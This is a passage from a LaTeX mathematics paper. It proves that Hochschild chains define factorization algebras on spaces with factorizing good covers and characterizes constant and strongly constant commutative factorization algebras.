It is shown in~\cite{CG} that, if $\mathcal{U}$ is a \emph{basis} for the topology of a space $X$ which is also a \emph{factorizing cover}, and $\mathcal{F}$ is a \emph{$\mathcal{U}$-factorization algebra}, then one obtains a factorization algebra $i_*^{\mathcal{U}}(\mathcal{F})$ on $X$ defined by \begin{equation}\label{eq:DFacAlginducedbyaBasis} i_*^{\mathcal{U}}(\mathcal{F})(V):=\check{C}(\mathcal{U}_V,\mathcal{F})\end{equation} where $\mathcal{U}_V$ is the cover of $V$ consisting of open subsets in $\mathcal{U}$ which are also subsets of $V$.
We recall that a \textbf{$\mathcal{U}$-factorization algebra} is like a factorization algebra, except that $\mathcal{F}(U)$ is only defined for $U\in \mathcal{U}$ and further that we only require a quasi-isomorphism $\check{C}(\mathcal{V},\mathcal{F}) \stackrel{\sim}\to \mathcal{F}(U) $ for factorizing covers $\mathcal{V}$ of $U$ consisting of open sets in $\mathcal{U}$.
A \textbf{factorizing good cover} is a good cover which is also a factorizing cover. For instance, any CW-complex has a factorizing good cover. Admitting a basis of factorizing good cover is a sufficient condition to prove that the Hochschild prefactorization algebra $\mathcal{CH}_X$ is a factorization algebra:
\begin{theorem}\label{T:CH=FH} Let $X$ be a topological space with a factorizing good cover and $A$ be a CDGA.
Assume further that there is a basis of open sets in $X$ which is also a factorizing good cover.
The prefactorization algebra $\mathcal{CH}_X: U\mapsto CH_U^\com(A)$ given by Lemma~\ref{P:prefactorization} is a \emph{factorization algebra} on $X$.
In particular, for any factorizing cover $\mathcal{U}$ of $X$, there is a canonical equivalence of CDGAs $$CH_{X}^{\com}(A) \cong \check{C}(\mathcal{U},\mathcal{CH}_X).$$
\end{theorem}
For instance the theorem applies to all manifolds (that we always assume to be paracompact) and more generally to CW-complexes.
\begin{proof}
Let $\mathcal{U}$ be a factorizing good cover.
We first prove that the rule $U\mapsto CH_{U}^{\com}(A)$ is a \emph{$\mathcal{U}$-factorization algebra}.
Since, we already know that $U\mapsto CH_{U}^{\com}(A)$ is a prefactorization algebra (Lemma~\ref{P:prefactorization}), we only need to prove that, for any $U\in \mathcal{U}$ and any factorizing cover $\mathcal{V}$ of $U$ consisting of open sets in $\mathcal{U}$, the canonical map
$\check{C}(\mathcal{V},\mathcal{CH}_X) \stackrel{\sim}\to CH_{U}^{\com}(A)$
is a quasi-isomorphism. {Since $U$ is contractible, $CH^U_\com(A)\cong A$ by Theorem~\ref{T:derivedfunctor}.} Let us denote $P\mathcal{V}$ the set of finite pairwise disjoint open subsets $\{(U_1,\dots,U_n \, ,\, U_i\in \mathcal{V}\}$. Now the \v{C}ech complex $\check{C}(\mathcal{V},\mathcal{CH}_X)$ is the chain (bi-)complex
$$ \bigoplus_{P\mathcal{V}} CH_{U_1}^{\com}(A) \otimes \cdots \otimes CH_{U_n}^{\com}(A) \leftarrow \bigoplus_{P\mathcal{V} \times P\mathcal{V}} CH_{{U_1}\cap {V_1}}^{\com}(A) \otimes \cdots \otimes CH_{{U_n}\cap {V_m}}^{\com}(A) \leftarrow \cdots$$
where the horizontal arrows are induced by the alternate sum of the natural inclusions (see~\cite{CG}). Since $\mathcal{U}$ is a good cover, Theorem~\ref{T:derivedfunctor} and the prefactorization algebra structure of $\mathcal{CH}_X$ gives a natural equivalence of chain complexes
\begin{equation}\label{eq:diagFH=HH} {\small
\xymatrix@R=2pc{ \mathop{\bigoplus}\limits_{P\mathcal{V}} CH_{U_1}^{\com}(A) \otimes \cdots \otimes CH_{U_n}^{\com}(A) \ar[d]_{\simeq} & \bigoplus\limits_{P\mathcal{V} \times P\mathcal{V}} \Big(\bigotimes CH_{{U_i}\cap {V_j}}^{\com}(A) \Big) \ar[l] \ar[d]_{\simeq} & \ar[l]\cdots \\
\bigoplus\limits_{P\mathcal{V}} A\otimes \cdots \otimes A & \bigoplus\limits_{P\mathcal{V} \times P\mathcal{V}} A\otimes \cdots \otimes A \ar[l]& \cdots \ar[l] }}
\end{equation}
We can form a simplicial set $N_\com(\mathcal{V})$ given by the nerve of the cover $\mathcal{V}$. Since $\mathcal{V}$ is factorizing, the canonical map \begin{equation} \label{eq:diagFH=HH2}\colim_{\scriptsize \begin{array}{l} K_\bullet\stackrel{disj}\hookrightarrow N_\com(\mathcal{V}) \\
K_\bullet\mbox{ finite}\end{array}} \!\!\!\!CH_{K_\bullet}^{\com}(A) \;\; \; \longrightarrow \colim_{\scriptsize \begin{array}{l} K_\bullet\to N_\com(\mathcal{V})\\
K_\bullet\mbox{ finite}\end{array}} \!\!CH_{K_\bullet}^{\com}(A)
\cong CH_{N_\com(\mathcal{V})}(A)\end{equation} (where the the left colimit is over maps whose images are required to be disjoint open subsets) is an equivalence.
The bottom line of diagram~\eqref{eq:diagFH=HH} now identifies with the left colimit of the map~\eqref{eq:diagFH=HH2}, hence with Hochschild chain complex of nerve $N_\com(\mathcal{V})$.
Since $\mathcal{U}$ is a good cover, the intersections $(U_1 \coprod \cdots \coprod U_n) \cap (V_1\coprod \cdots \coprod V_m)$ are contractible. Thus by the Nerve Theorem (or Leray acyclic cover), the geometric realization of $N_\com(\mathcal{V})$ is quasi-isomorphic to the reunion $\bigcup_{\mathcal{V}} U_i = U$. Since $U$ is assumed to be contractible, we get from above and Proposition~\ref{P:homologyinvariance}
a natural equivalence (of prefactorization algebras) $ \check{C}(\mathcal{V},\mathcal{CH}_X)(U) \stackrel{\simeq}\to CH_{U}^{\com}(A) \,(\cong A)$. Thus the $\mathcal{U}$-prefactorization algebra $U\mapsto CH_{U}^{\com}(A)$ is a $\mathcal{U}$-factorization algebra. We denote $CH_{\mathcal{U}}$ this $\mathcal{U}$-factorization algebra.
\smallskip
To conclude, we are left to prove that the induced factorization algebra $i_*^{\mathcal{U}}(CH_{\mathcal{U}})$ on $X$ is equivalent to $\mathcal{CH}_X$ as a prefactorization algebra. Let $V$ be an open subset of $X$. By~\cite{CG}, there is a natural equivalence $i_*^{\mathcal{U}}(CH_{\mathcal{U}})(V)\cong \check{C}(\mathcal{U}_V,CH_{\mathcal{U}})$ (where $\mathcal{U}_V$ is the cover of $V$ consisting of open subsets in $\mathcal{U}$ which are also subsets of $V$). Since the cover $\mathcal{U}_V$ is a good cover, as in the case where $V$ was in $\mathcal{U}$ above, there is a natural equivalence
$$
{\small
\xymatrix@R=2pc{ \mathop{\bigoplus}\limits_{P\mathcal{U}_V} CH_{U_1}^{\com}(A) \otimes \cdots \otimes CH_{U_n}^{\com}(A) \ar[d]_{\simeq} & \bigoplus\limits_{P\mathcal{U}_V \times P\mathcal{U}_V} \Big(\bigotimes CH_{{U_i}\cap {V_j}}^{\com}(A)\Big) \ar[l] \ar[d]_{\simeq} & \ar[l]\cdots \\
\bigoplus\limits_{P\mathcal{U}_V} A\otimes \cdots \otimes A & \bigoplus\limits_{P\mathcal{U}_V \times P\mathcal{U}_V} A\otimes \cdots \otimes A \ar[l]& \cdots \ar[l] }}
$$
where, as for diagram~\eqref{eq:diagFH=HH} above, the bottom line is equivalent to the Hochschild chain complex $CH_{N_\com(\mathcal{U}_V)}^\com(A)$ of the simplicial set $N_\com(\mathcal{U}_V)$ given by the nerve of $\mathcal{U}_V$. Since $\mathcal{U}$ is a good cover, we can again use the Nerve Theorem to see that
$CH_{N_\com(\mathcal{U}_V)}^\com(A)\cong CH_{\bigcup_{\mathcal{U}_V}U_i}^\com(A)\cong CH_{V}^\com(A)$ and thus to
get the natural equivalence (of prefactorization algebras) $ \check{C}(\mathcal{V},i_*^{\mathcal{U}}(CH_{\mathcal{U}}))(U) \stackrel{\simeq}\to CH_{V}^{\com}(A)\cong \mathcal{CH}_X(V)$.
\end{proof}
If $\mathcal{F}$ is a factorization algebra on $X$ (with value in $k\textit{-}Mod$ or $\hkmod$), and $f:X\to Y$ is a continuous map, one can define the \textbf{pushforward $f_*(\mathcal{F})$} by the formula $f_*(\mathcal{F})(V) =\mathcal{F}(f^{-1}(V))$ which actually is a factorization algebra on $Y$, see~\cite{CG}. Costello and Gwilliam~\cite[Section 3.a]{CG} have defined the \textbf{factorization homology} $HF(\mathcal{F})$ of $\mathcal{F}$ as the pushforward $p_*(\mathcal{F})$ where $p:X\to pt$ is the unique map. In other words, we have natural equivalences \begin{equation}HF(\mathcal{F})\;\cong\; p_*(\mathcal{F})\;\cong\; \mathcal{F}(X)\;\cong\; \check{C}(\mathcal{U},\mathcal{F})\end{equation} in $\hkmod$ (for any factorizing cover $\mathcal{U}$ of $X$). Note that, despite its name, $HF(\mathcal{F})$ is a cochain complex (up to equivalences) and, in particular a \emph{derived} object (which may be thought as the \lq\lq{}derived global sections\rq\rq{} of $\mathcal{F}$). If $\mathcal{F}$ has value in $\cdga$, then $HF(\mathcal{F})$ is an object in $\hcdga$ too.
Theorem~\ref{T:CH=FH} and Lemma~\ref{P:prefactorization} yields
\begin{corollary} \label{C:HFoCH=CH}
Let $X$ be a CW-complex.
The Hochschild prefactorization functor $\mathcal{CH}_X$ is actually a functor
$\mathcal{CH}_X: \hcdga \to \mathop{Fac}_X(\hcdga)$.
Further, the factorization homology of $\mathcal{CH}_X(A)$ is equivalent to $CH^X_\com(A)$ (as an object of $\hcdga$); in other words the following diagram commutes:
$$\xymatrix{\hcdga \ar[rr]^{CH_{X}^{\com}(-)} \ar[d]_{\mathcal{CH}_X} & &\hcdga \\
\mathop{Fac}_X(\hcdga) \ar[rru]_{HF(-)} && } $$
\end{corollary}
For manifolds, we will give below another geometric interpretation of the functor $\mathcal{CH}_X$
in terms of embeddings of manifolds in euclidean spaces (see Example~\ref{E:cstFac}, Corollary~\ref{C:HFact=CH} and Remark~\ref{R:cstFac}).
\smallskip
A factorization algebra $\mathcal{F}$ on a manifold is said to be \textbf{locally constant}, if, the natural map $ \mathcal{F}(U) \to \mathcal{F}(V)$ is a quasi-isomorphism when $U\subset V$ are homeomorphic to a ball (see~\cite{CG,Co}).
Furthermore, we call $\mathcal{F}$ a \textbf{commutative constant factorization algebra} (on $X$), if there is a CDGA $A$, and natural quasi-isomorphisms $ \mathcal{F}(U) \to A$ for any open $U\subset X$ homeomorphic to a ball.
Here, natural means, that for any pairwise disjoint open subsets homeomorphic to a ball $U_1,\dots, U_n \in V$ of a contractible open subset $V\in X$ also homeomorphic to a ball, the following diagram is commutative in $\hkmod$
\begin{equation}\label{eq:cstFacAlg}\xymatrix{ \mathcal{F}({U_1}) \otimes \cdots \otimes \mathcal{F}({U_n}) \ar[d] \ar[rr]^{\qquad \quad \mu_{U_1,\dots, U_n,V}} & & \mathcal{F}({V}) \ar[d]\\ A^{^{\otimes n}} \ar[rr]_{m^{(n)}} & & A}\end{equation}
where $m^{(n)}$ is the $(n-1)$-times iterated multiplication of $A$.
\begin{example}\label{E:cstFac}
A class of examples of locally constant factorization algebras occurs as follows. By results of Lurie~\cite{L-VI} (also see Proposition~\ref{P:Fac=En} below), the data of a locally constant factorization algebra on $\R^n$ is the same as the data of an $E_n$-algebra. Thus any CDGA yields a locally constant factorization algebra (denoted $\mathcal{A}$ for the moment) on $\R^n$ (for any $n\geq 1$) and also, by restriction, on any open subset of $\R^n$.
Now, let $X$ be any manifold, and let $i:X\hookrightarrow \R^n$ be an embedding of $X$ in $\R^n$. Let $NX$ be an open tubular neighborhood of $X$ in $\R^n$. We write $p:NX\to X$ for the bundle map. Any factorization algebra $\mathcal{F}$ on $\R^n$ restricts to a factorization algebra $\mathcal{F}_{|NX}$ on $NX$ and the pushforward $p_*(\mathcal{F}_{|NX})$ is a factorization algebra on $X$. Thus, a CDGA $A$ yields a locally constant factorization algebra $p_*(\mathcal{A}_{|NX})$ on $X$ for any manifold $X$. Since $p_*(\mathcal{F}_{|NX})(U)\cong \mathcal{F}(p^{-1}(U))$, it is easy to check that $p_*(\mathcal{A}_{|NX})$ is indeed locally constant. Since by construction there is a natural quasi-isomorphism $\mathcal{A}(B) \stackrel{\sim}\to A=\mathcal{A}(\R^n)$ for any open ball $B\subset \R^n$, the induced locally constant factorization algebra $p_*(\mathcal{A}_{|NX})$ satisfies that there exists a natural equivalence $\mathcal{A}_{|NX}(B)\stackrel{\sim} \to A$ for any open set $B\in Op(X)$ homeomorphic to a ball.
In other words, we can think to the factorization algebra $p_*(\mathcal{A}_{|NX})$ as being \emph{constant} (and commutative).
\smallskip
Note that the previous analysis can be extended to any space $X$ which embeds as the base of locally trivial fibration $U\to X$ where $U$ is an open in some $\R^n$ and the fibers are homeomorphic to a ball.
\end{example}
\begin{example}
Let $G$ be a discrete group acting properly discontinuously on a manifold $X$. According to~\cite{CG}, any $G$-equivariant factorization algebra $\mathcal{F}$ on $X$ yields a factorization algebra $\mathcal{F}^G$ on $X/G$. Further, it is easy to check that, if $\mathcal{F}$ is locally constant then so is $\mathcal{F}^G$ too. In particular any CDGA $A$ yields a locally constant factorization algebra on $\R^n/G$
for any discrete group acting properly discontinuously on $\R^n$.
\end{example}
The next corollary describes what \emph{constant} commutative factorization algebra are; namely they all are equivalent to derived Hochschild chains for some CDGA.
\begin{corollary}\label{C:HFact=CH} Let $X$ be a manifold and $\mathcal{F}$ a commutative factorization algebra such that there exists a CDGA $A$ and a natural equivalence $\mathcal{F}(B)\stackrel{\sim} \to A$ for any open set $B\in Op(X)$ homeomorphic to a ball.
Then $\mathcal{F}$ is equivalent to the Hochschild chain factorization algebra $\mathcal{CH}_X(A)$ (given by Lemma~\ref{P:prefactorization}).
\end{corollary}
In particular, there is a natural equivalence $HF(\mathcal{F}) \cong CH_{X}^{\com}(A)$.
\begin{proof}
Choosing a Riemannian metric on $X$, the set $\Ball^g(X)$ of geodesic open balls is \emph{factorizing}. Further, $\mathcal{F}$ being constant, we have, for any $\alpha=\{B_1,\dots, B_k\}\in \Ball^g(X)$, natural equivalences
\begin{eqnarray*}
\mathcal{F}(\alpha)=\mathcal{F}(B_1)\otimes \cdots \otimes \mathcal{F}(B_k) &\cong & \bigotimes_{i=1}^k A
\cong CH_{B_1}^\com(A) \otimes \cdots \otimes CH_{B_k}^\com(A)
\cong \mathcal{CH}_X(\alpha)\end{eqnarray*}
Similarly, there are natural equivalences $$\mathcal{F}(\alpha_1,\dots,\alpha_j)\; \cong \; \mathcal{CH}_X(\alpha_1,\dots,\alpha_j)$$ for any $\alpha_1,\dots,\alpha_j\in P\Ball^g(X)$.
Thus, by Theorem~\ref{T:CH=FH}, we have
\begin{eqnarray*}
HF(\mathcal{F})&\cong & \check{C}(\Ball^g(X),\mathcal{F}) \\
&\cong & \bigoplus_{k>0} \bigoplus_{\alpha_1,\dots,\alpha_k \in P\Ball^g(X)} \mathcal{F}(\alpha_1,\dots,\alpha_k) [k-1]\\
&\cong &\bigoplus_{k>0} \bigoplus_{\alpha_1,\dots,\alpha_k \in P\Ball^g(X)} \mathcal{CH}_X(\alpha_1,\dots,\alpha_k) [k-1] \; \cong \; CH_{X}^{\com}(A).\end{eqnarray*} It follows that we have an equivalence $\check{C}(\Ball^g(X),\mathcal{F}) \cong\check{C}(\Ball^g(X),\mathcal{CH}_X)$. The same analysis can be made for any open subset $U\in Op(X)$ instead of $X$ and the naturality of Hochschild chains ensures that the equivalence $\mathcal{F}(U)\cong CH_U^\com(A)$ is natural in $U$.
\end{proof}
\begin{remark}
Note that the above Corollary~\ref{C:HFact=CH} can be extended to manifolds with corners, where, by a locally constant factorization algebra on a manifold with corners, we mean a factorization algebra which is locally constant if, whenever restricted to the strata (which are manifolds), it is locally constant see~\cite{CG,AFT}. One can extend the definition of constant factorization algebra in the same way.
\smallskip
Let us also sketch how Corollary~\ref{C:HFact=CH} can be used in the general case of \emph{locally constant commutative factorization algebras}.
Let $\mathcal{A}$ be a locally constant factorization algebra on a manifold $M$ and assume that there is a codimension $1$ submanifold (possibly with corners) $N$ of $M$ with a trivialization $N\times I$ of its neighborhood such that $M$ is decomposable as $M=X\cup_{N\times I}Y$ where $X,Y$ are submanifolds (with corners) of $M$ glued along $N \times I$. The inclusion $i:N\times I\to X$ induces a map of factorization algebras $i_\ast(\mathcal{A}_{|N\times I}) \to \mathcal{A}_{|X}$, which gives a structure of $\mathcal{A}_{|N\times I}$-module to $\mathcal{A}_{|X}$ since $\mathcal{A}$ is commutative.
\begin{lemma}\label{L:HFact=CHloc} If $\mathcal{A}_{|Y}$ is constant (say $\mathcal{A}_{|Y}(B)\cong A$ for a \cdga{ } $A$ and any ball $B\in Op(Y)$), $\mathcal{A}$ is equivalent to $\mathcal{A}_{|X} \mathop{\otimes}\limits^{\mathbb{L}}_{\mathcal{CH}_{N\times I}(A)} \mathcal{CH}_{Y}(A)$
in $\mathop{Fac}_M(\cdga_\infty)$ (where the factorization algebras are pushforward to $M$ along the natural inclusions). In particular,
$$HF(\mathcal{A})\; \cong\; HF(\mathcal{A}_{|X})\mathop{\otimes}^{\mathbb{L}}_{CH_{N\times I}^\com(A)} CH_{Y}^\com(A). $$
\end{lemma}
Using a handle decomposition of $M$, one can use the lemma above to compute the homology of a locally constant commutative factorization algebra $\mathcal{A}$ in terms of (iterated) derived tensor products of derived Hochschild functors (see Section~\ref{S:locality} for a related construction).
\begin{proof} It essentially follows from Corollary~\ref{C:HFact=CH} and Lemma~\ref{L:Enmodule}.
{Indeed, since $\mathcal{A}_{|Y}$ is constant of type $A$, it is isomorphic to $\mathcal{CH}_{Y}(A)$ and similarly, $\mathcal{A}_{|N\times I}\cong \mathcal{CH}_{N\times I}(A)$ (by Corollary~\ref{C:HFact=CH}). Further, there is a quasi-isomorphism of prefactorization algebras:
\begin{equation} \label{eq:HFact=CHloc}\mathcal{A}_{|X} \mathop{\otimes}\limits^{\mathbb{L}}_{\mathcal{CH}_{N\times I}(A)} \mathcal{CH}_{Y}(A) \; \cong \; \mathcal{A}_{|X} \otimes \bigoplus_{\ell\geq 0} \mathcal{A}_{|N\times I}[\ell] \otimes \mathcal{A}_{|Y} \end{equation}
where the middle term is the bar construction on $\mathcal{A}_{|N\times I}$. Applying the same construction to the \v{C}ech complex of a factorizing cover yields that $\mathcal{A}_{|X} \mathop{\otimes}^{\mathbb{L}}_{\mathcal{CH}_{N\times I}(A)} \mathcal{CH}_{Y}(A)$ is indeed a factorization algebra.
By the identity~eq\ref{eq:HFact=CHloc} above, for any open $U$ in $X$ or open $V$ in $Y$, we have, $$\mathcal{A}_{|X} \mathop{\otimes}^{\mathbb{L}}_{\mathcal{CH}_{N\times I}(A)} \mathcal{CH}_{Y}(A)\,\Big(U\Big) \;\cong \;\mathcal{A}_{|X}\big(U\big), \quad \mathcal{A}_{|Y} \mathop{\otimes}^{\mathbb{L}}_{\mathcal{CH}_{N\times I}(A)} \mathcal{CH}_{Y}(A)\,\Big(V\Big) \;\cong \;\mathcal{A}_{|Y}\big(V\big)$$
Similarly, using that the two-sided bar construction of $CH_{W}^\com(A)$ is naturally isomorphic to $CH_{W}^\com(A)$ for any open $W$ in $N\times I$, we get that the restriction (to $N\times I$) $\big(\mathcal{A}_{|X} \mathop{\otimes}^{\mathbb{L}}_{\mathcal{CH}_{N\times I}(A)} \mathcal{CH}_{Y}(A)\big)_{|N\times I}$ is isomorphic to $\mathcal{CH}_{N\times I}(A)$. Thus the factorization algebra $\mathcal{A}_{|X} \mathop{\otimes}^{\mathbb{L}}_{\mathcal{CH}_{N\times I}(A)} \mathcal{CH}_{Y}(A)$ is equivalent to the one obtained by gluing together $\mathcal{A}_{X}$ and $\mathcal{A}_{Y}$ along their intersection $\mathcal{A}_{N\times I}$, that is $\mathcal{A}$.}
\end{proof}
\end{remark}
\begin{remark}\label{R:cstFac}
Corollary~\ref{C:HFact=CH} implies that the factorization algebras $p_*(\mathcal{A}_{|NX})$ are independent (up to equivalences in $\mathop{Fac}_X(\hkmod)$) of the choices of the embedding and of the tubular neighborhood made in Example~\ref{E:cstFac}. Indeed, if $i_1:X\hookrightarrow \R^{n_1}$ and $i_2:X\hookrightarrow \R^{n_2}$ are two embeddings of a manifold $X$ in an euclidean space, and given two choices $\R^{n_1}\supset N_1 X \stackrel{p_1}\to X$,$\R^{n_2}\supset N_2 X \stackrel{p_2}\to X$ of tubular neighborhoods, Corollary~\ref{C:HFact=CH} implies that there are natural equivalences $${p_1}_*(\mathcal{A}_{|N_1 X})(U)\stackrel{\simeq} \longrightarrow CH^U_\com(A) \stackrel{\simeq}\longleftarrow {p_2}_*(\mathcal{A}_{|N_2 X})(U)$$ for open subsets $U\subset X$.
\end{remark}
\begin{example}\label{E:Surface}
Let $M$ be a manifold and $A=C^{\infty}(M)$ its algebra of functions. Also let $\Sigma^g$ be a compact Riemann surface of genus $g$ and $\mathcal{F}$ the factorization algebra (see Theorem~\ref{T:CH=FH}) on $\Sigma^g$ defined by the rule $U\mapsto C_{U}^{\com}(C^{\infty}(M))$ (here, in the definition of Hochschild chains, the tensor product over $k$ is the \emph{completed} tensor product so that $C^\infty(M)\otimes C^\infty(M)\cong C^\infty(M\times M)$). Let $\Omega^n(M)$ denote the de Rham $n$-forms on $M$, viewed as complex concentrated in degree $0$.
An analogue of Hochschild-Kostant-Rosenberg theorem for Hochschild chains over surfaces~\cite[Theorem 4.3.3]{GTZ} implies that the factorization homology of $\mathcal{F}$ on $\Sigma^g$ is given by
$$HF(\mathcal{F}) \cong S_{C^\infty(M)}\Big(\Omega^1(M)[2]\Big)\mathop{\otimes}_{C^\infty(M)} S_{C^\infty(M)}\Big(\Omega^1(M)\Big) \mathop{\otimes}_{C^\infty(M)} \!\bigotimes_{C^\infty(M)}^{i=1\dots 2g}\! \Omega^{\com}(M)[\bullet]$$ where $V[n]$ is the graded space $(V[n])^i=V^{i+n}$ (\emph{i.e.} with cohomological degree shifted down by $n$) and $S_{C^\infty(M)}(W)$ is the symmetric graded algebra of a graded $C^\infty(M)$-module $W$. In terms of graded-geometry the above isomorphism is equivalent to saying that $HF(\mathcal{F})$ is (equivalent to) the algebra of functions of the graded manifold $$HF(\mathcal{F}) \; \cong \;T[2](M)\oplus \bigoplus_{i=1}^{2g} T[1]M. $$
\end{example}
We now study a homotopical strengthening of the locally constant condition. We said that a factorization algebra on $X$ is \textbf{strongly locally constant} if the natural map $ \mathcal{F}(U) \to \mathcal{F}(V)$ is a quasi-isomorphism when $U\subset V$ are contractibles. Let $A$ be a CDGA; we say that a factorization algebra $\mathcal{F}$ is \textbf{strongly constant of type $A$}, if there exists a natural quasi-isomorphism $\mathcal{F}(U) \to A$ for any contractible $U$. Here, natural means, that for any pairwise disjoint contractible open subsets $U_1,\dots, U_n \in V$ of a contractible open subset $V\in X$, the following diagram (similar to diagram~\ref{eq:cstFacAlg}) is commutative in $\hkmod$
$$\xymatrix{ \mathcal{F}({U_1}) \otimes \cdots \otimes \mathcal{F}({U_n}) \ar[d] \ar[rr]^{\qquad \quad \mu_{U_1,\dots, U_n,V}} & & \mathcal{F}({V}) \ar[d]\\ A^{^{\otimes n}} \ar[rr]_{m^{(n)}} & & A}$$
\begin{example}
The factorization algebras given by Theorem~\ref{T:CH=FH} are strongly constant of type $A$.
\end{example}
\begin{example}\label{E:stcstFac}
Let $X$ be a manifold, $A$ a CDGA and $p_*(\mathcal{A}_{|NX})$ be the factorization algebra on $X$ constructed in Example~\ref{E:cstFac}. Corollary~\ref{C:HFact=CH} {and the homotopy invariance of Hochschild chains} implies that $p_*(\mathcal{A}_{|NX})$ is a \emph{strongly constant} factorization algebra.
\smallskip
Now let $X$ be a topological space that embeds as a retract $i:X \stackrel{\hookrightarrow}{\leftarrow} UX:r$, where $UX$ is an open subset of some $\R^n$ (where $n$ can be infinite). Then, similarly to the manifold case, the CDGA $A$ yields a factorization algebra $\mathcal{A}$ on $\R^n$ and a factorization algebra $r_*(\mathcal{A}_{|UX})$ on $X$. The above paragraph implies that $\mathcal{A}$ is strongly constant. Further if the fibers of $r$ are contractible, then $r_*(\mathcal{A}_{|UX})$ is \emph{strongly constant of type $A$}.
\end{example}
\smallskip
We have the following analogue of Corollary~\ref{C:HFact=CH} for strongly constant factorization algebras on a topological space that admits a factorizing good cover (for instance those given by Example~\ref{E:stcstFac} when $X$ is a CW-complex)
\begin{corollary}\label{C:CH=FH} Let $X$ be a topological space with a factorizing good cover and $A$ be a CDGA.
Let $\mathcal{F}$ be a factorization algebra on $X$.
\begin{enumerate}
\item Assume $\mathcal{F}$ is strongly constant of type $A$, then one has a natural equivalence $HF(\mathcal{F})\cong CH_X^\com(A)$ in $\hkmod$.
\item Assume that there is a basis $\mathcal{B}$ of open sets which is a factorizing good cover and that $\mathcal{F}$ is a factorization algebra which satisfies the strongly constant condition (of type $A$) with respect to opens in $\mathcal{B}$, \emph{i.e.}, there exists a natural quasi-isomorphism $\mathcal{F}(U) \to A$ for $U\in \mathcal{B}$ (which is automatically contractible). Then, there is a natural equivalence of
factorization algebras $\mathcal{F} \cong \mathcal{CH}_X(A)$ between $\mathcal{F}$ and the Hochschild prefactorization algebra given by Lemma~\ref{P:prefactorization} (in particular, $\mathcal{F}$ is strongly constant of type $A$).
\end{enumerate}
\end{corollary}
\begin{proof} The first assertion is proved as in Corollary~\ref{C:HFact=CH} using
a factorizing good cover $\mathcal{U}$ for $X$ instead of $\Ball^g(X)$ (and using a proof similar to the proof of Theorem~\ref{T:CH=FH} to get that $\bigoplus_{k>0} \bigoplus_{\alpha_1,\dots,\alpha_k \in P\mathcal{U}} \mathcal{CH}_X(\alpha_1,\dots,\alpha_k) [k-1] \; \cong \; CH_{X}^{\com}(A)$).
Since any factorization algebra is uniquely defined by its restriction to a factorizing basis, the second assertion follows easily from the first one applied to all $V\in \mathcal{B}$.
\end{proof}
As a further corollary to Theorem \ref{T:CH=FH}, we can extend the Hochschild construction as a pullback and pushforward of factorization algebras in a particular setting. The pushforward construction of factorization algebras was described above Corollary \ref{C:HFoCH=CH}. Following \cite{CG}, there is also a \textbf{pullback} construction for factorization algebras given for an \emph{open immersion} $f:N\to M$. For a factorization algebra $\mathcal F$ on $M$, let $f^*\mathcal F$ be the factorization algebra on $N$ given by $f^*\mathcal F(U)=\mathcal F(f(U))$ for all open subsets $U\subset N$ such that $f|_U:U\to f(U)$ is a homeomorphism, extended to a full factorization algebra.
Now, assume that $X, Y, Z$ are topological spaces, and that there is an open immersion of $X\times Y\hookrightarrow Z$ of $X\times Y$ into $Z$. For a factorization algebra $\mathcal F$ on $Z$, we define the Hochschild factorization algebra with respect to $X$ to be the factorization algebra ${\bf CH}_X(\mathcal F)$ of $\mathcal F$ on $Y$ given by
\begin{equation*}
{\bf CH}_X(\mathcal F) := (pr_Y)_*\circ f^*(\mathcal F), \text{ where } \quad
Y \stackrel {pr_Y} \longleftarrow X\times Y \stackrel f \longrightarrow Z.
\end{equation*}
Here $pr_Y:X\times Y\to Y$ denotes the projection to $Y$. This construction induces a functor, called ${\bf CH}_X: \mathop{Fac}_Z(\hcdga) \to \mathop{Fac}_Y(\hcdga) $, $\mathcal F\mapsto (pr_Y)_*\circ f^*(\mathcal F)$ which satisfies the following naturality condition.
\begin{corollary}\label{L:CHYoCHX=CHXoCHZ}
Assume that $X$, $Y$ and $Z$ all admit a basis of open sets which is a factorizing good cover.
Under the functors $\mathcal{CH}_Y: \hcdga \to \mathop{Fac}_Y(\hcdga)$ and $\mathcal{CH}_Z: \hcdga \to \mathop{Fac}_Z(\hcdga)$ from Corollary \ref{C:HFoCH=CH}, the functor ${\bf CH}_X$ represents the functor $CH_X^\bullet$ on $CDGA_\infty$, \emph{i.e.}, the following diagram commutes:
$$\xymatrix{\hcdga \ar[rr]^{CH_{X}^{\com}} \ar[d]_{\mathcal{CH}_Z} & &\hcdga \ar[d]^{\mathcal{CH}_Y} \\
\mathop{Fac}_Z(\hcdga) \ar[rr]^{{\bf CH}_X} && \mathop{Fac}_Y(\hcdga) } $$
\end{corollary}
\begin{proof} Let $A\in \hcdga$ and $\mathcal{W}$ be a basis and factorizing good cover by open subsets $U\times V\subset X\times Y$ such that $U,V$ are contractible and $f|_{U\times V}:U\times V\to f(U\times V)$ is a homeomorphism. In particular, for $U\times V\in \mathcal{W}$, we have natural equivalences
$$f^*( \mathcal{CH}_Z (A)) (U\times V) \cong \mathcal{CH}_Z (A)(f(U\times V)) \cong CH^{\com}_{f(U\times V)}(A)\cong A$$
since $f(U\times V)$ is contractible. Hence Corollary~\ref{C:CH=FH} implies that
$f^*( \mathcal{CH}_Z (A))$ is strongly constant of type $A$ and further that, for any
contractible open $U\subset Y$,
\begin{equation*}
{\bf CH}_X ( \mathcal{CH}_Z (A)) (U)
\;\cong \; f^*( \mathcal{CH}_Z (A)) (X\times U)\; \cong \;CH_{X\times U}^\com(A)\;\cong \; CH_X^\com(A).
\end{equation*}
Thus $\mathcal{CH}_X ( \mathcal{CH}_Z (A))$ is a strongly constant factorization algebra on $Y$ of type $CH^{\com}_{X}(A)$, hence, by Corollary~\ref{C:CH=FH}.(2), is naturally equivalent to $\mathcal {CH}_Y(CH^{\com}_X(A))$.
\end{proof}
As an application of the above Corollary \ref{L:CHYoCHX=CHXoCHZ}, we look at the particular case where $X\times D^{n-k}\hookrightarrow \R^n$ is an open immersion. In this case, ${\bf CH}_X$ maps factorization algebras in $\R^n$ to factorization algebras in $D^{n-k}$, and thus via the inclusion $D^{n-k}\hookrightarrow \R^{n-k}$ also to factorization algebras in $\R^{n-k}$,
$$ {\bf CH}_X: \mathop{Fac}\, _{\R^{n}}(\hcdga)\to \mathop{Fac}\, _{\R^{n-k}}(\hcdga). $$
\subsection{Locally constant factorization algebras and $E_n$-algebras}
